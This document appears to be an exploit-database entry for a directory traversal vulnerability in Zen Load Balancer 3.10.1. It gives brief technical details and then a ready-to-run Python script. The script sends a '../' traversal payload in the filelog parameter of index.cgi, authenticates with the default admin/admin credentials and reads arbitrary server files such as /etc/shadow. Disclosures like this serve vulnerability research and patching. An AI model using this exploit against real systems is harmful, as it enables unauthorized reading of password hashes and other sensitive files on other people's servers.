Zen Load Balancer 3.10.1 Directory Traversal

2020.04.11
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

# Exploit Title: Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal # Date: 2020-04-10 # Exploit Author: Basim Alabdullah # Software Link: https://sourceforge.net/projects/zenloadbalancer/files/Distro/zenloadbalancer-distro_3.10.1.iso/download # Version: 3.10.1 # Tested on: Debian8u2 # # Technical Details: # The filelog parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. # The payload ../../../../../../../../../../../../../../../../etc/shadow was submitted in the filelog parameter. The requested file was returned in the application's response. # Note that disclosure of the shadow file may allow an attacker to discover users' passwords # # Impact: # -------- # Successful exploitation could allow an attacker to obtain sensitive # information. import requests import sys if len(sys.argv) <2: print("Example Use: python exploit.py https://192.168.1.1:444 /etc/shadow") sys.exit(-1) else: files=sys.argv[2] url=sys.argv[1] with requests.session() as s: urlz=url+"/index.cgi?id=2-3&filelog=../../../../../../../../../../../../../../../../"+files+"&nlines=100&action=See+logs" response = s.get(urlz, auth=('admin', 'admin'), verify=False) txt=response.text print(response.text)


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